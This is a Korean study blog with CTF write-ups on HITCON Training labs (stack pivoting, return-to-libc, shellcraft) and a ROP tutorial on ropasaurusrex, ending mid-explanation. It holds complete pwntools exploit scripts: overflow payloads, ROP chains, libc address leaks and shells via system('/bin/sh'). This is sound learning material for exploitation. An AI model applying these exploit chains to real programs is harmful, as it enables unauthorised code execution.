1. 시작하기전에...


- Stack Migration(Stack Pivoting)?

HITCON Training의 부제는 migration 입니다. stack migration의 의미를 모르고 문제로 바로 ㄱㄱ했다가 사경을 헤메다...

writup컨닝으로  eip를 바로 컨트롤 하지 않는 것을 보고 이게 무엇일까 하고 많은 고민을 하였죠..


stack의 베이스포인터를 같이 컨트롤 해주면서 스택영역을 자신이 원하는 곳으로 옮깁니다. 그래서 Stack Migration(이주) 라는 표현을 쓴 것 같네요.

구글신님께 간절히 빌어보고, 주변지인찬스를 써본 결과 윈도우 쪽에서는 Stack Pivoting이라는 것이 여기서 말하는 Stack Migration과 같다는 것을

알게되었습니다.


그래서 도대체 이런 짓을 왜 하느냐...


전에 어떤 BOF 관련 문제를 풀 때 분명히 eip의 값이 바뀌는 것 까지 gdb로 확인을 한 후 페이로드를 작성해서 날렸음에도 불구하고.. 프로그램의 흐름이 컨트롤 되지 않는 현상을 겪었습니다. 그때는 왜 안되는지 도무지 알수가 없었습니다.


이번 문제에서도 마찬가지로 eip가 바뀌는 것을 확인을 했으나.. 전혀 exploit이 안되는 상황에 놓였습니다. 


제가 내린 결론은 BOF로 스택에 원하는대로 값을 채울 수 있고, eip레지스터의 값을 컨트롤 할 수 있음에도.. 실행을 할 수 없는 어떤 이유가 있다. 정도로

결론을 내렸습니다. 물론 이번 문제에서도, 또 저번 문제에서도 NX가 걸려있지는 않았지만... 이런 상황에서는 stack을 실행 시킬 수 있는 다른 메모리 공간으로 이동을 시켜야한다! 라고 일단은 정리하고 가려고합니다.

관련되서 정확한 지식을 가지고 계신분은 피드백 주세요ㅠㅠ



2. 분석


migration.c의 내용입니다.


1
2
3
4
5
6
7
8
9
10
int main(){
    if(count != 1337)
        _exit(1);
    count++;
    char buf[40];
    setvbuf(stdout,0,2,0);
    puts("Try your best :");
    read(0,buf,64);
    return ;    
}
cs


소스코드 자체는 간단해요. "Try your best : " 문자열을 출력한 다음 40byte짜리 배열에 64byte만큼 read해서 BOF가 발생하는 코드입니다.


3. exploit


여느때와 마찬가지로 exploit코드를 보면서 찬찬히 뜯어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
 
log.info(proc.recv())
 
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
 
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
 
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


하... 엄청 기네요ㅋㅋ 사실 간략하게 짜면 짧을 수도 있지만, 설명을 위해 주석도 달고.. 최대한 직관적으로 코드가 이해 되도록 짜서 길어졌어요ㅠ
부분부분 잘라서 볼께요~

3-1 intro 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
proc = process('./migration')
mig  = ELF('./migration')
libc = ELF('./libc.so.6'
 
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
 
binsh = "/bin/sh\0"
 
#fake stack
log.info("found address of .dynamic section : %s" % hex(mig.get_section_by_name(".dynamic").header.sh_addr))
ds_section = mig.get_section_by_name(".dynamic").header.sh_addr
 
fake_stack1 = ds_section + 0x600
fake_stack2 = ds_section + 0x700
 
#find read plt, got in migration
log.info("found address of read plt : %s" % hex(mig.plt["read"]))
read_plt = mig.plt["read"]
 
log.info("found address of puts plt : %s" % hex(mig.plt["puts"]))
puts_plt = mig.plt["puts"]
log.info("found address of read got : %s" % hex(mig.got["puts"]))
puts_got = mig.got["puts"]
 
#calculate offset
log.info("found address of puts symbol in libc : %s" % hex(libc.symbols["puts"]))
puts_symbol = libc.symbols["puts"]
log.info("found address of system symbol in libc : %s" % hex(libc.symbols["system"]))
system_symbol = libc.symbols["system"]
 
offset = puts_symbol - system_symbol
log.info("calculated offset : %s" % hex(offset))
 
#0x0804836d: pop ebx ; ret  ;  (1 found)
pr = 0x0804836d
 
#0x08048569: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x08048569
 
#0x08048504: leave  ; ret  ;  (1 found)
leave_ret = 0x08048504
cs


먼저 첫 라인부터 43번째 라인까지 한번 보겠습니다.

1 ~ 4라인은 exploit에 필요한 정보들을 쉽게 얻으려고 문제 파일(migration)과 migration이 참조하고 있는 so파일을 ELF()로 열었어요.

여기서 필요한 함수의 plt/got, symbol주소를 얻을 거에요. 


6,7라인은 디버그 모드로 이 코드를 돌리겠다(?) 정도로 보면 될 것 같습니다. 나중에 출력되는 걸 보면 아실거에요!


stack migration이 사용가능한 메모리 공간으로 스택을 이동시켜서 사용하는 거라 그랬져?

12 ~ 16라인에서 이 스택 공간을 정의해주고 있습니다.

사실 이 공간을 선정하는 방법에 대해서는 아직 잘 모르겠습니다ㅠ writeup에서는 bss+0x600, bss+0x700의 공간을 찍고있는데,



보시다시피 objdump로 살펴본바로는 bss는 8바이트 밖에 되지 않아요..

이외의 공간이라는건데 저 부분이 어디인지는 잘모르겠습니다. 다만, gdb로 확인을 했을 때는 0으로 초기화되어있는 공간이기는 하더군요.

저는 dynamic section + 0x600과 0x700을 더한 부분을 사용했습니다. 마찬가지로 이 공간이 어디인지는 모르구요..ㅠ


19~25라인에서는 필요한 plt, got 그리고 symbol주소를 가져왔습니다.

libc에서 puts와 system함수의 차이를 구한 후 이따가 실제 프로그램이 돌아갈 때 puts의 주소를 받아서 system함수를 계산할꺼에요.

그리고 이 과정에서 read함수가 필요하기 때문에 read의 plt주소도 가져옵니다.


그리고 필요한 rop 가젯들을 구해왔어요(37~43). pr은 puts사용할 때, pppr은 read사용할 때 쓰기위함이고! 

leave_ret는 ebp를 바꿔서 스택공간을 바꿀 때 사용할거에요.


3-2. payload


페이로드는 크게 세 부분으로 나뉘어져있어요


1
2
3
4
5
6
7
8
9
10
11
#payload
#step 1. writing dummy and fake_stack1 pivoting
payload  = "a"*0x28 #dummy 40byte
payload += p32(fake_stack1)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)   #stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
proc.send(payload)
cs


우선 step1을 보시면, 더미를 쓰고 스택공간을 옮길거에요.


a를 40개 채워서 버퍼공간을 모두 채운 후 fake_stack1의 주소를 SFP에 덮어써서 ebp의 값을 바꿔줍니다. 그리고 read를 실행해요.

여기서 눈여겨 보셔야할 부분은 스택을 정리하는 부분에 pppr의 가젯 주소가 아닌 leave_ret주소가 들어간다는 점이에요.


read를 실행하고 나서 leave; ret;를 실행 하게 되는 거겠지요? 그렇다면 leave; ret;가 어떤 일을 하는지 한번 보자구요.



에필로그는 다음과 같다.

leave

mov esp, ebp

pop ebp


ret

pop eip

jmp eip


어셈블리어를 해석하자면 'ebp의 주소값을 esp로 복사하고

현재 스택의 제일 위에있는 내용을 ebp에 넣고 return 한다'고 알수있다


출처: http://r00p3r.tistory.com/entry/leave-ret의-이해 [r00p3r]


보시다시피 leave는 esp에 ebp의 값을 넣어주고 ebp를 스택에서부터 팝 해옵니다.

ret는 eip를 스택에서 pop해오고, 그 후에 그 주소로 점프를 뜁니다.


일단 step1에서는 여기까지만 숙지하시고 다음 스텝으로 넘어가볼게요.

정리하자면 step1에서는 스택을 fake_stack1으로 옮겼고, 표준입력으로 받은 값을 이 fake_stack1에 써준다. 그리고 난 후 leave_ret를 실행한다.

이렇게 정리 할 수 있겠습니다.



이제 step2를 이어서 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
#step 2. print puts_got and fake_stack2 pivoting 
payload  = p32(fake_stack2)
payload += p32(puts_plt)
payload += p32(pr)
payload += p32(puts_got)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0#stdin
payload += p32(fake_stack2)
payload += p32(0x100)
 
proc.send(payload)
cs


맨위에 fake_stack2의 주소를 써주고 있는 것이 보이시나요?

좀전 step1에서 read함수를 실행 한 다음 하는 것이  leave ret라고 했잖아요. 스택 최상단에 있는 값, 그러니까 지금 보내는 payload의

제일 첫번째 값이 ebp값으로 바뀌게 되고(leave), 그 다음에 있는 주소값을 eip에 넣은 후 그 주소로 점프를 뛰게 됩니다.(ret)

따라서 ebp가 fake_stack2로 바뀌고, puts를 실행하게 되겠지요.


puts의 인자는 puts_got에 있는 값을 출력하게 됩니다.

그리고 나서 다시 표준입력으로 fake_stack2에 값을 쓰도록 만들었습니다. 그리고 leave_ret을 하니까

다음 입력에는 fake_stack1의 주소 값이 들어 있으리라 예상할 수 있겠지요.


step2에서는 puts의 got주소를 출력하고 fake_stack2로 스택의 공간을 이동시켰어요.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puts_address = proc.recv(4)
system_address = u32(puts_address) - offset
log.info("system address = %s" % hex(system_address))
 
#step 3. wrting /bin/sh string and call system function
payload  = p32(fake_stack1)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0#stdin
payload += p32(fake_stack1)
payload += p32(0x100)
 
payload += p32(system_address)
payload += "bach"
payload += p32(fake_stack1)
 
proc.send(payload)
proc.send(binsh)
 
log.info("Exploit is Success!!")
proc.interactive()
cs


마지막 step3에서는 출력된 puts의 got를 읽어서 위에서 계산한 offset을 이용하여 system함수의 주소를 계산해 냅니다.
그리고 스택공간을 다시 fake_stac1으로 바꾸고, 표준입출력으로 /bin/sh문자열을 입력받아 system함수를 call하면 마무리됩니다.

끝!


1. 시작하기전에...

이 풀이를 보시기 전에 앞서 블로깅한 글(rop)을 보고 와주시면 감사하겠습니다.


링크 : http://bachs.tistory.com/entry/NXNo-eXcutable-ROP?category=961837


return to libary는 함수의 리턴주소를 overflow를 이용하여 사용하고자 하는 함수의 주소로 덮어써 프로그램의 실행 플로우를 조작하는 것을 말합니다.

이 문제에서는 Print_message()의 리턴주소를 덮어썼습니다.


2. 분석


먼저, 문제에서 주어진 ret2lib.c파일을 살펴봅시다.


#include <stdio.h>
 
void See_something(unsigned int addr){
    int *address ;
    address = (int *)addr ;
    printf("The content of the address : %p\n",*address);
};
 
void Print_message(char *mesg){
    char buf[48];
    strcpy(buf,mesg);
    printf("Your message is : %s",buf);
}
 
int main(){
    char address[10] ;
    char message[256];
    unsigned int addr ;
    puts("###############################");
    puts("Do you know return to library ?");
    puts("###############################");
    puts("What do you want to see in memory?");
    printf("Give me an address (in dec) :");
    fflush(stdout);
    read(0,address,10);
    addr = strtol(address);
    See_something(addr) ;
    printf("Leave some message for me :");
    fflush(stdout);
    read(0,message,256);
    Print_message(message);
    puts("Thanks you ~");
    return 0 ; 
}


처음으로는 return to library에 대해 알고있는지 물어본 후 메모리 어떤 부분을 보고싶냐고 친절하게 물어봅니다.

알고 싶은 주소값을 던져주면 See_something()을 통해서 해당 주소에 어떤 값이 저장되어 있는지를 출력을 해주고있습니다.


그리고 남길말을 입력하라고하는데 이때 Print_message에서 Buffer Overflow를 발생시킬 수 있습니다.

Print_message의 인자로 입력할 남길말이 message변수에 담겨서 전달이 되는데 사이즈를 256바이트를 받습니다.

그리고 함수 내에서는 지역변수 48바이트짜리 버퍼에 카피를 하고있습니다.


함수 내 지역변수는 프로그램 스택에 저장이 되기 때문에 48바이트 공간에 256바이트를 카피하면 Overflow가 발생하게 되는 것이지요!

혹시 이해가 잘 안되신다면 앞선 블로깅들을 보고와주시기 바랍니다ㅠ


그럼 코드를 봤으니 gdb로 한번 까봅시다.

Print_message의 +6  에서 함수의 input으로 보이는 ebp+0x8을 eax에 넣고,

+9에서는 이 eax의 값을 esp+0x4 위치(스택 최상위 바로 아래)에 저장하고있습니다. 그리고

+13에서 eax에 지역변수 buf로 보이는 ebp-0x38을 저장한 후

+16에서 esp로 저장하고나서

+19에서 strcpy함수를 호출합니다.


결과적으로 정리하면 스택 최상위에는 ebp-0x38, 그 아래에 ebp+0x8이 각각 위치하고 strcpy가 호출 되는 거네요

c소스 중 strcpy(buf, mesg); 이 라인이 어셈으로 표현됐다고 보면 되겠습니다.


따라서, ebp-0x38(56)에 buf값이 저장될테고, 리턴 주소를 덮어 쓰려면 60개의 dummy가 필요하다는 계산이 나올 수 있습니다.

현재까지 분석한 스택의 상황을 그려보면 이런 모습이겠죠, dummy가 60바이트만큼 필요하단 건 buf size(56byte) + SFP(4byte)를 말씀드린 것입니다.


3. exploit


return to library를 하기위해서 준비할 것은 크게


1. Overflow로 덮어쓸 위치

2. 사용하고 싶은 함수와 기타 리소스 주소 알아내기


정도가 될 것 같습니다.

Overflow로 덮어쓸 위치는 구했고.. system("/bin/sh")를 사용할 거고, 따라서 필요한건 system함수의 주소, "/bin/sh"문자열의 주소를 알아내야합니다.


알아 낼 방법은 이 프로그램 내에서 특정 주소를 입력하면 그 값을 알려주기 때문에, 프로그램에서 사용된 puts의 got를 입력해 puts의 실제 함수 주소를 알아내고, 그 값을 기준으로 system 함수의 주소와 "/bin/sh"의 주소를 계산해 내도록 하겠습니다.


solv.py

1
2
3
4
5
6
7
8
9
100
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process('./ret2lib')
= ELF('./ret2lib')
 
#found address of puts got
log.info("found address of puts got : %s" % hex(e.got["puts"]))
puts_got = e.got["puts"]
 
p.recvuntil(":")
p.send(str(puts_got))
 
puts_addr = p.recvline()
puts_addr = int(puts_addr.split(":")[1].strip(), 16
 
sys_offset   = 0x24d40
binsh_offset = 0xfd548
 
system_addr = puts_addr - sys_offset
binsh_addr  = puts_addr + binsh_offset
 
log.info("address of puts : %s" % hex(puts_addr))
log.info("address of system : %s" % hex(system_addr))
log.info("address of /bin/sh string : %s" % hex(binsh_addr))
 
payload  = ""
payload += "a"*60 #dummy 60bytes
payload += p32(system_addr)
payload += "aaaa"
payload += p32(binsh_addr)
 
p.recvuntil(":")
p.send(payload)
p.interactive()



먼저 puts의 got를 알아내서 이 주소값을 프로그램에 전송하고, 결과로 실제 puts 함수의 주소를 알아냅니다.

그리고 이 값을 기준으로 system 함수의 offset과 "/bin/sh"문자열의 offset으로 계산하여 실제 주소들을 알아내는데,

offset은 이렇게 계산할 수 있습니다.

gdb로 프로그램을 실행 한 후 실행 당시의 주소 값들을 가지고 계산을 하는데, puts의 함수와 얼마나 떨어져 있는지를

offset으로 사용하여 프로그램 실행 당시에도 각각의 위치를 알아 낼 수 있는 것이지요.


계산이 끝났다면 이제 payload만 완성 시켜주면됩니다. 60개의 dummy를 넣고, system함수의 주소와 가상의 리턴 주소값(dummy) 그리고 system함수의 인자를 넣어주면 payload완성입니다.



끝!


1. 시작전에...

이번에 HICON Training을 CodeByO와 같이 풀어보기로했습니다. 저는 짝수번을 맡기로 하였고, 풀이 내용을 블로깅 할 예정입니다.


pwntools의 shellcraft를 이용하면 각 아키텍쳐(x86, amd64, arm, mips, ...)에 맞는 쉘코드를 손쉽게 만들어 사용할 수 있습니다.

낮은 번호의 문제라서 그런지 어떤 지식이 필요했다기 보다는 shellcode를 만들 수 있는 지를 확인 하는 것 같았습니다. 사실 풀이랄 것도 별로 없어요ㅠ


2.  분석

먼저 file명령어를 이용해서 어떤 파일인지 살펴보니까 ELF 32bit실행파일입니다.



실행파일이니까 실행을 한번 해봅시다.


실행하면 "Give my your shellcode:" 가 프린트 되고, 입력을 받습니다.

hello 라고 입력을 했더니 세그먼트 폴트가 나고 말았네요.


ida를 이용해서 디컴파일을 해보면


간단하게 메인 함수가 있습니다. 살펴보면 위에서 직접 실행하면서 봤던 Give my... 문자열을 print해준 후에 shellcode에 입력 값을 200byte넣어 준 후 아래에서 실행 하는 것 같습니다.



gdb(peda)로 한번 열어보겠습니다.

main+41 ~ 53까지를 보면 0xc8, 0x804a060, 0x0을 차례대로 스택에 push한 후 read함수를 호출하고 있습니다. 0xc8은 10진수로 200으로

ida에서 본 read(0, &shellcode, 200u); 부분이 되겠네요. 그리고 main+61, 66을보면 0x804a060을 eax에 넣고 call eax를 하고 있습니다.


우리가 Give my... 이후에 입력한 값은 0x804a060에 저장이 되고 결과적으로 main+66에서 call하게 되는 것이지요



따라서 Give my.. 이후에 적당한 쉘코드를 넣어주면 그 쉘코드가 실행이 될 것으로 보입니다.

문제에서 의도한 것은 원래 서버에 있는 flag를 읽는 것이지만, 현재 HITCON Training의 서버가 죽은 것으로 보여 local 환경에서 테스트 해보기로 합시다.


3. exploit


============solv.py============

from pwn import *

p = process('./orw.bin')

context(arch='i386', os='linux')

shellcode = ''

shellcode += shellcraft.pushstr('flag')

shellcode += shellcraft.open('esp', 0, 0)

shellcode += shellcraft.read('eax', 'esp', 100)

shellcode += shellcraft.write(1, 'esp', 100)

#log.info(shellcode)

p.recvuntil('Give my your shellcode:')

p.send(asm(shellcode))

log.success(p.recvline())

==============================



우리에게 필요한 것은 32bit환경의 쉘코드가 필요하므로 arch는 i386, os는 리눅스로 컨텍스트를 설정해 주고 난 다음
쉘코드를 만들 내용을 shellcraft를 이용해서 만듭니다.

shellcode += shellcraft.pushstr('flag') #open함수의 인자로 사용하기 위해 파일명을 push

shellcode += shellcraft.open('esp', 0, 0) #스택 최 상단에는 파일명이 있으므로, esp를 이용해서 open함수를 call

shellcode += shellcraft.read('eax', 'esp', 100) #open함수 호출 후 eax에 fd가 반환되므로 해당 fd에서 100byte만큼 읽어서 esp에 저장

shellcode += shellcraft.write(1, 'esp', 100) #write함수의 fd에 표준출력을 주어서 파일 내용을 출력




local에서 테스트하기 위해 생한 flag파일이 정상적으로 읽혀 출력되는 것을 확인 할 수 있습니다.



[추가] pwnable.kr 의 Toddler`s Bottle에 있는 asm문제가 유사하니 풀어보시는 것을 추천드립니다.


'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab6 / Stack migration, Stack pivoting  (0) 2017.12.15
[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (4) 2017.07.31

1. 시작전에..


기초적인 오버플로우를 이용하여 exploit 하는 것은 여러 메모리 기법에 의해 성공시키기 어렵습니다. 

이 때문에 ROP라는 기법을 통해서 exploit을 시도하는데요. 이번에 저도 말로만 들어왔던 ROP에 대해서 한번 알아보았습니다.

제가 참고했던 링크는 https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/ 이 곳의 글을 주로 참고하였고,

사용했던 바이너리는 위 글에서 사용한 예제와 같이 2013년 plaidCTF에서 출제되었던  ropasaurusrex바이너리를 사용하였습니다.



2. 용어


먼저, 이 문제를 풀이하며 필요한 용어와 아이디어를 풀어봅시다!


2-1. NX(No eXecutable)

NX는 위에서 언급했던 메모리 기법 중 하나인데요, 메모리 페이지의 권한을 write권한과 excutable권한을 동시에 갖지 않도록 설정하는 방법입니다.


좀 더 설명을 하자면, 예를 들어 설명하자면 80짜리 버퍼가 있고, 오버플로우를 이용해서 버퍼(스택 공간)에 쉘코드 및 \x90으로 80만큼 채운 후 4바이트 sfp를 덮고, RET자리에 쉘코드 시작 주소를 넣는다고 가정해봅시다.


위의 그림과 같이 가정한대로 오버플로우를 이용해 RET주소를 쉘코드 시작주소로 덮어써주었습니다.

리턴주소가 쉘코드 시작주소로 덮어 써졌으므로 쉘코드가 실행되어 exploit이 가능하겠지요?


여기에 NX가 설정이 되어 있으면, 스택공간에 있는 저 쉘코드에 실행권한이 없어서 RET를 주소로 덮어써주어도!

실행권한이 없기 때문에 실행이 되지 않아 exploit이 불가하다 이런 개념입니다.


2-2) ROP(Return Oriented Programming)

현재 수행 중인 프로그램 코드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜스택의 제어를 통제하는 기술, 실행되는 모든 명령어들이 원래 프로그램 안에 존재하는 실행 가능한 메모리 영역에서 추출한 것들이기 때문에 실행가능하다!


[참조] http://shayete.tistory.com/entry/6-Return-Oriented-Programming


위에 써드린 참조 주소에 설명이 매우 잘되어있어요.. 심지어 영상 강의까지 있으니 도움이 많이 되실 듯 합니다.


참고로, 위에서 말한 선별된 기계 명령어 또는 기계 명령어 덩어리를 "가젯(gadget)"이라고 부릅니다.

사실 위에 설명만으로는 너무 추상적인 이야기이기 때문에 감이 잘 안오실껀데..(전 그랬거든요) 직접 어떻게 페이로드가 구성되는 지 보시면 바로 감이 올꺼에요


2-3) RTL Chain(Return To Library Chain)

함수가 호출 되는 과정을 살펴봅시다.

1. 함수 호출 전 스택에 차곡차곡 파라미터들을 push합니다. 

2. 다음 실행 명령어를 스택에 push한 후 해당 함수 주소로 jmp합니다.

3. 스택프레임을 구성하고 함수가 실행됩니다.

4. pop eip를 통해 다음 명령어 주소를 복구하여 다음을 진행합니다.


예를 들어 리턴 주소들(함수 주소들)이 차곡차곡 쌓여있는 아래와 같은 스택이 있다고 생각해봅시다.

"각 함수들이 아무 arguments를 받지 않는다"라고 가정한다면, 해당 스택을 가진 함수가 끝나고나면 RET1의 주소에 있는 함수를 호출 하게 되겠죠?

그리고 그 함수가 끝나고 나면 RET2의 주소에 있는 함수를 호출하게 될거에요, 그리고 그다음엔 RET3...

이렇게 호출하게 되는 이유는 함수 호출 전 다음 실행되는 명령어의 주소가 미리 push되어 있다는 가정하에 pop eip명령어를 통해 프로그램의 흐름을 제어 하기 때문에 이루어지게됩니다. 물론 실제로는 이렇게 구성되는 경우는 없다고 볼 수 있겠지만, 오버플로우가 가능한 상황에 우리가 임의로 이런 스택구조를 만들 수 있습니다.


그렇다면, 이런 스택 구조도 생각해 볼 수 있을거에요

RET1의 주소에 있는 함수가 하나의 argument를 전달받아야 한다면, 위와 같은 방식으로 arg1A값을 넣어서 전달 할 수 있어요,

마찬가지로 RET2의 주소에 있는 함수에 두 개의 arguments를 전달 할 수 있죠, 다만 차이가 있다면 argumnets와 RET주소 사이에 pop을 보셔야합니다.

argument들을 사용하기위해 스택에 쌓았지만 프로그램 흐름을 제어하기 위해서는 RET2를 pop하기 전에 스택에서 사라져 줘야한다는 것이지요

그렇게 하기 위해서 각 각 갯수에 맞추어 pop한 개, pop두 개가 실행 되는 "가젯"들이 필요한거에요.


한 셋트씩 뜯어서 보자면, RET주소 + arguments갯수만큼의 pop + ret하는 가젯의 주소 + arguments 이렇게 한 셋트로 묶어서 생각하시면 됩니다.

이러한 것들을 엮어서 만든 것이 chain 형태처럼 보이나요?


이 "가젯"들은 프로그램 안에 존재하는 것들을 찾아서 써야하고, 이런 가젯들을 찾기위해 여러가지 툴이 있습니다만, 저는 rp를 사용했습니다.

rp : https://github.com/0vercl0k/rp/downloads


RTL은 Return To Library로, 일반적으로 프로그램에서 사용하는 라이브러리안에 있는 함수를 리턴하여 공격하는 방식입니다.

가령 공격할 바이너리에 system함수가 없어도 기본적으로 사용하는 라이브러리안에 system함수가 있기때문에 이 주소를 찾아서 위의 체인안에 주소를 넣어주는 식으로 공격할 수 있습니다.


다만, ASLR(Address Space Layout Randomization)기법이 적용되어있다면 함수들의 주소가 실행 할 때마다 유동적으로 바뀌기 때문에 이 주소를 찾아줘야하는 수고가 필요 할 수 있습니다.


 

3. 분석

실제 예제를 분석해보면서 위에서 살펴본 개념들을 구체화해봅시다.



먼저 바이너리가 어떤상태인지 살펴보니까, elf 32bit바이너리네요. 동적링킹되어있고요.



실행하니까 입력을 받고 그냥 WIN이라는 문자열을 출력하고 끝내네요??



gdb로 열어서 main을 까보려고하니까 심볼테이블이 로드되지 않았다고하네요..

사실 저는 여기서부터 어떻게해야하나 막막했는데, 이럴땐 main의 주소를 알아내서 시작할 수 있습니다. IDA로 열어보면!



main을 찾을수 있죠? 그리고 옆엔 주소를 알수 있자나여?? 이 주소로 gdb로 까보면 까볼 수 있다 이겁니다.



짠! 요렇게요. 기왕 IDA로 열어봤으니까 짱짱좋은 hex-ray가지고 분석을 좀더 해보자고여.


디스어셈블했을 때도 알 수 있는 있지만, main은 별게 없어요. 어떤 함수 하나를 호출 한 다음에 그저 WIN이라는 문자열을 write함수를 통해

출력해줄 뿐이죠.


원래 저 함수는 임의의 문자열로 되어있는데 저는 분석하기 편하도록 vulnFunc라는 이름으로 수정해주었습니다.

그럼 vulnFunc함수를 볼까요?


 

첫 번째 라인에서 char buf; // [sp+10h] [bp-88h]@1 로 버퍼의 사이즈가 스택에 0x88만큼 할당이 되고 있는 것을 알 수 있고,

두 번째 라인에서 return read(0, &buf, 0x100u); , read함수를 통해 표준입력으로 0x100만큼 입력을 받고 있는 것을 볼 수 있죠?

여기서 BOF를 이용해 스택을 조작할 수 있겠습니다.


0x88은 십진수로 136이잖아요? 그렇다면 vulnfunc함수 안에서 스택의 모양은 아래 처럼 예상해 볼 수 있을 거에요


우린 여기서 RET를 덮어서 RTL Chain을 엮어가지고 exploit을 할꺼잖아요? 구체적으로 어떻게 하면 좋을 지, 거기엔 무엇이 필요한 지 한번

봅시다.


우선, 우리가 호출하고 싶은 건 system("/bin/sh"); 잖아요?

"/bin/sh" 문자열은 프로그램 내에 없을 테니까 이 문자열을 어딘가에 임의로 써주어야겠죠?


그리고 system()의 주소가 필요하죠. 여기서는 서버에 aslr환경이 적용되어있다고 가정 하여 실행 시 주소가 매번 변경된다고 가정하겠습니다.

즉, 그냥 system()의 주소가 필요한 것이 아니라 바이너리를 실행할 당시의 system()주소가 필요합니다.


근데 프로그램 내부에서는 system함수를 쓰고있지 않기 때문에 프로그램에서 사용하는 read함수 주소(got주소)를 얻어내서 offset을 계산 한 후

이 offset을 이용해서 system함수의 주소(got주소)를 읽어와야합니다.


got에 대한 내용은 아래를 참조해주세요.


PLT와 GOT자세히 알기-1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT자세히 알기-2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


메모리에서 어떤 값을 써주어야하고, 읽어와야하기 때문에 read, write함수를 써야할거에여. read, write를 호출하려면 read, write의 plt주소를 알아와야해요. 알아온 주소로 chain을 구성할 수 있을거에요. 


read와 write는 모두 인자를 3개를 받고 있기 때문에, pop pop pop ret; 형태의 가젯의 주소 또한 필요하겠네요!


read / write를 연달아 호출하는 RTL Chain은 아래와 비슷한 형태가 되겠지요


그렇다면 결론적으로 필요한 것이 어떤 것들이 있는 지 정리를 해보고 필요한 것들을 모아봅시다.


1. read / write의 plt

2. pop을 세 번한 후 ret하는 가젯

3. 프로그램 실행 당시의 system함수의 got

4. 메모리에 "/bin/sh" 문자열을 써야함



익스플로잇 코드는 pwntools모듈을 통해 짜볼껀데, 여기에 plt와 got를 한방에 알아내는 아주 좋은 기능이 있으니 1번은 생략합시다.

가젯은 위에서 얘기한데로 rp를 이용해서 찾아볼거에여

rp -f [file path] -r [gadget`s maximun size] 로 사용할 수 있으니, 우리는


rp -f ./ropasaurusrex -r 4 로 실행을 해보면!!


결과 중 빨간 네모칸에 보이는 저 가젯을 찾을 수 있습니다. 


전 처음에 이 가젯을 보고 ebp값을 건드리기 때문에 스택프레임이 깨지면서 segfault가 나지 않을까 고민을 곰곰히 해봤는데, 어차피 chain을 통해 계속 스택프레임이 재구성되기 때문에 문제가 없을 거라는 결론을 내렸고 실제로도 이상이 없었어요.


자자 그럼 가젯도 모았고, 이제 프로그램 실행 당시의 system함수의 got는 어찌 구하느냐!

